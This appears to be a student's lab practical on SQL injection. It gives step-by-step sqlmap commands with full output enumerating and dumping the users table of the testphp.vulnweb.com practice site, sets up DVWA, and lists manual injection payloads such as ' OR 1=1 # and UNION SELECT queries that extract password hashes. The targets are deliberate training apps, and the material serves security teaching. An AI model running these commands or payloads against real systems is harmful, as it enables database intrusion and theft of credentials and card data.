



Date: 11/01/24

Lab Practical #05:

Study SQL injection and perform SQL injection using DVWA.

What is SQL Injection?

A [SQL injection](#) attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, or become administrators of the database server.

SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections.

The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.

SQL Injection using sqlmap:

Sqlmap:

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.



- Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB, Aurora, OpenGauss, ClickHouse and Virtuoso database management systems.
- Full support for six SQL injection techniques: **boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.**
- Support to **directly connect to the database** without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
- Support to enumerate **users, password hashes, privileges, roles, databases, tables and columns.**

Date:
11/01/2024

For retrieve all databases name from URL below command is used

- **sudo sqlmap -u URL --dbs --batch**
- The above command contains following parameters :
 - **-u URL:** Specifies target URL
 - **--dbs:** This will return all databases list from given URL
 - **--batch:** Runs sqlmap in non-interactive mode, accepting default answers for prompts.
- **Ex-** sudo sqlmap -u <http://testphp.vulnweb.com/artists.php?artist=1> --dbs --batch

```
(kali㉿kali)-[~]
$ sudo sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs --batch

1.8.7#stable
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
sponsible for any misuse or damage caused by this program

[*] starting @ 09:44:27 /2025-01-10/

[09:44:28] [INFO] resuming back-end DBMS 'mysql'
[09:44:28] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
—
Parameter: artist (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: artist=1 AND 1102=1102

  Type: time-based blind
  Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
  Payload: artist=1 AND (SELECT 7836 FROM (SELECT(SLEEP(5)))mEJW)

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: artist=-3053 UNION ALL SELECT NULL,CONCAT(0x716b707071,0x4d5756544954595962636e

[09:44:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL ≥ 5.0.12
[09:44:29] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
```

Date: 11/01/2024

For retrieve all tables from specific database from URL below command is used

- **sudo sqlmap -u URL -D database-name --tables --batch**
- The above command contains following parameters :
 - **-u URL:** Specifies target URL
 - **-D database-name:** Indicates the name of the database you want to focus on after identifying it.
 - **--tables:** Lists all the tables within the specified database.
 - **--batch:** Runs sqlmap in non-interactive mode, accepting default answers for prompts.
- **Ex- sudo sqlmap -u <http://testphp.vulnweb.com/artists.php?artist=1> -D acuart --tables --batch**

```
L$ sudo sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables --bat
ch 1.8.7#stable
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, state and federal
laws. Developers assume no liability and are not responsible for any misuse or damage cause
d by this program

[*] starting @ 09:47:52 /2025-01-10/

[09:47:52] [INFO] resuming back-end DBMS 'mysql'
[09:47:52] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: artist (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: artist=1 AND 1102=1102

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: artist=1 AND (SELECT 7836 FROM (SELECT(SLEEP(5)))mEJW)

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: artist=-3053 UNION ALL SELECT NULL,CONCAT(0x716b707071,0x4d5756544954595962636e
5746735347424c66774868745557774463586950796f514b4b67555244,0x71786a6a71),NULL-- --

[09:47:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[09:47:54] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----+
| artists |
| carts   |
| categ   |
| featured |
| guestbook |
| pictures |
| products |
| users   |
+-----+
```


Date: 11/01/2024

For retrieve all columns name and datatype for specific table for specific database from URL below command is used

- **sudo sqlmap -u URL -D database-name -T table-name --columns --batch**
- The above command contains following parameters :
 - **-u URL**: Specifies target URL
 - **-D database-name**: Indicates the name of the database you want to focus on after identifying it.
 - **-T table-name** : Specifies the table name within the database to examine
 - **--columns** : Lists the column names in the specified table.
 - **--batch**: Runs sqlmap in non-interactive mode, accepting default answers for prompts.
- **Ex- sudo sqlmap -u <http://testphp.vulnweb.com/artists.php?artist=1> -D acuart -T users --columns --batch**

```
$ sudo sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns

1.8.7#stable
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:54:11 /2025-01-10/

[09:54:11] [INFO] resuming back-end DBMS 'mysql'
[09:54:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: artist (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: artist=1 AND 1102=1102

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: artist=1 AND (SELECT 7836 FROM (SELECT(SLEEP(5)))mEJW)

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: artist=-3053 UNION ALL SELECT NULL,CONCAT(0x716b707071,0x4d5756544954595962636e5746735347424c66774868745557774463586950796f514b4b67555244,0x71786a6a71),NULL--

[09:54:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[09:54:14] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| name   | varchar(100) |
| address | mediumtext |
| cart   | varchar(100) |
| cc     | varchar(100) |
| email  | varchar(100) |
| pass   | varchar(100) |
| phone  | varchar(100) |
| uname  | varchar(100) |
+-----+-----+
```

Date: 11/01/2024

For retrieve all data from specific column for specific database table from URL below command is used

- **sudo sqlmap -u URL -D database-name -D database-name -T table-name -C column-name -- dump**
- The above command contains following parameters :
 - **-u URL:** Specifies target URL
 - **-D database-name:** Indicates the name of the database you want to focus on after identifying it.
 - **-tables:** Lists all the tables within the specified database.
 - **-T table-name :** Specifies the table name within the database to examine
 - **-C column-name:** Specifies the column(s) within the table to extract.
 - **--dump:** Extracts (dumps) the data from the specified column.
- **Ex- sudo sqlmap -u <http://testphp.vulnweb.com/artists.php?artist=1> -D acuart -T users -C uname --dump**

```
(kali㉿kali)-[~]
$ sudo sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname --dump

1.8.7#stable
https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are
not responsible for any misuse or damage caused by this program

[*] starting @ 09:55:26 /2025-01-10/

[09:55:26] [INFO] resuming back-end DBMS 'mysql'
[09:55:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: artist (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: artist=1 AND 1102=1102

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: artist=1 AND (SELECT 7836 FROM (SELECT(SLEEP(5)))mEJW)

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: artist=-3053 UNION ALL SELECT NULL,CONCAT(0x716b707071,0x4d5756544954595962636e5746735347424c667748687
45557774463586950796f514b4b67555244,0x71786a6a71),NULL-- --

[09:55:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[09:55:27] [INFO] fetching entries of column(s) 'uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-----+
| uname |
+-----+
| test  |
+-----+
```

Date: 11/01/2024

For dump all database table entries from URL below command is used

- **sudo sqlmap -u URL -D database-name -D database-name -T table-name --dump all --batch**
- The above command contains following parameters :
 - **-u URL**: Specifies target URL
 - **-D database-name**: Indicates the name of the database you want to focus on after identifying it.
 - **-T table-name** : Specifies the table name within the database to examine
 - **--dump all**: Extracts all data from the specified table.
- **Ex- sudo sqlmap -u <http://testphp.vulnweb.com/artists.php?artist=1> -D acuart -T users --dump all -- batch**

```
(kali@kali)-[~]
$ sudo sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --dump all --batch
```



1.8.7#stable
<https://sqlmap.org>

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:58:12 /2025-01-10/

[09:58:12] [INFO] resuming back-end DBMS 'mysql'

[09:58:12] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

what dictionary do you want to use?

[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files

> 1

[09:58:14] [INFO] using default dictionary

do you want to use common password suffixes? (slow!) [y/N] N

[09:58:14] [INFO] starting dictionary-based cracking (md5_generic_passwd)

[09:58:14] [INFO] starting 2 processes

[09:58:31] [WARNING] no clear password(s) found

Database: acuart

Table: users

[1 entry]

cc	address	cart	pass	email	phone	uname	name
1234-5678-2300-9000	4bed2ecba13e5edaab80086b96c2b03c	test	vnoivemail@email.com	2323345	test	Mr. Alex	21 street



Date: 11/01/2024

DVWA:

Setup DVWA

Step 1: Install DVWA

1. Open a terminal in Kali Linux.
2. Install Apache and PHP:
3. `sudo apt update`
4. `sudo apt install apache2 php php-mysqli unzip`
5. Download DVWA:
6. `git clone https://github.com/digininja/DVWA.git`
7. Move DVWA to the web server root directory:
8. `sudo mv DVWA /var/www/html/`
9. Set appropriate permissions:
10. `sudo chown -R www-data:www-data /var/www/html/DVWA`
11. `sudo chmod -R 755 /var/www/html/DVWA`
12. Create a database for DVWA:
 - Start MySQL:
 - `sudo service mysql start`
 - Log in to MySQL:
 - `mysql -u root -p`
 - Execute the following commands in MySQL:
 - `CREATE DATABASE dvwa;`
 - `CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'password';`
 - `GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost';`
 - `FLUSH PRIVILEGES;`
 - `EXIT;`
13. Configure DVWA:
 - Edit the `config.inc.php` file in DVWA:
 - `sudo nano /var/www/html/DVWA/config/config.inc.php`
 - Update the database credentials:
 - `$_DVWA = array();`
 - `$_DVWA['db_server'] = '127.0.0.1';`
 - `$_DVWA['db_database'] = 'dvwa';`
 - `$_DVWA['db_user'] = 'dvwauser';`
 - `$_DVWA['db_password'] = 'password';`
14. Start Apache:
15. `sudo service apache2 start`

Date: 11/01/2024

Performing SQL Injection Step

1: Access DVWA

1. Open a browser and navigate to:
2. <http://localhost/DVWA>
3. Log in using the default credentials:
 - Username: admin
 - Password: password
4. Set the Security Level to Low in the DVWA Security tab.



Username

Password

Login

DVWA Security

Security Level

Security level is currently: **low**.

You can set the security level to low, medium, high or impossible level of DVWA:

1. Low - This security level is completely vulnerable as an example of how web application vulnerabilities can be exploited as a platform to teach or learn basic exploitation techniques.
2. Medium - This setting is mainly to give an example of how a developer has tried but failed to secure an application against exploitation techniques.
3. High - This option is an extension to the medium difficulty level, it uses **secure practices** to attempt to secure the code. The vulnerability is similar in various Capture The Flags (CTF) challenges.
4. Impossible - This level should be **secure against all** known vulnerabilities in the source code to the secure source code. Prior to DVWA v1.9, this level was known as 'high'.

Low  Submit

Step 2: SQL Injection on Login Page

1. Navigate to the SQL Injection tab in DVWA.
2. Use the following SQL payload in the input box:
 - For example:
 - ' OR 1=1 #
 - Explanation:
 - ' closes the SQL query.
 - OR 1=1 always evaluates to true.
 - --comments out the rest of the query.
3. Click Submit and observe the results.
4. Capture the bypassed login or displayed data as a result of the injection.

Date: 11/01/2024

Vulnerability: SQL Injection

User ID:

ID: 'OR 1=1 #
First name: admin
Surname: admin

ID: 'OR 1=1 #
First name: Gordon
Surname: Brown

ID: 'OR 1=1 #
First name: Hack
Surname: Me

ID: 'OR 1=1 #
First name: Pablo
Surname: Picasso

ID: 'OR 1=1 #
First name: Bob
Surname: Smith

Step 3: Extracting Data

1. Use an injection to fetch data:
2. ' UNION SELECT null, database() --
 - Purpose: Displays the database name.
3. Further queries can be used to enumerate tables and columns:
4. ' UNION SELECT null, table_name FROM information_schema.tables #

Date: 11/01/2024

5. Show the database name or extracted data.

Vulnerability: SQL Injection

User ID:

```
ID: 'union select null,table_name from information_schema.tables#
First name:
Surname: ALL_PLUGINS

ID: 'union select null,table_name from information_schema.tables#
First name:
Surname: APPLICABLE_ROLES

ID: 'union select null,table_name from information_schema.tables#
First name:
Surname: CHARACTER_SETS

ID: 'union select null,table_name from information_schema.tables#
First name:
Surname: CHECK_CONSTRAINTS

ID: 'union select null,table_name from information_schema.tables#
First name:
Surname: COLLATIONS

ID: 'union select null,table_name from information_schema.tables#
First name:
Surname: COLLATION_CHARACTER_SET_APPLICABILITY

ID: 'union select null,table_name from information_schema.tables#
First name:
Surname: COLUMNS

ID: 'union select null,table_name from information_schema.tables#
First name:
Surname: COLUMN_PRIVILEGES

ID: 'union select null,table_name from information_schema.tables#
First name:
Surname: ENABLED_ROLES

ID: 'union select null,table_name from information_schema.tables#
First name:
Surname: ENGINES

ID: 'union select null,table_name from information_schema.tables#
First name:
Surname: EVENTS
```

6. 'and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,password) from users#

Vulnerability: SQL Injection

User ID:

```
ID: 'and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,password) from users #
First name:
Surname: admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: 'and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,password) from users #
First name:
Surname: Gordon
Brown
e99a18c428cb38d5f260853678922e03

ID: 'and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,password) from users #
First name:
Surname: Hack
Me
8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,password) from users #
First name:
Surname: Pablo
Picasso
0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,password) from users #
First name:
Surname: Bob
Smith
5f4dcc3b5aa765d61d8327deb882cf99
```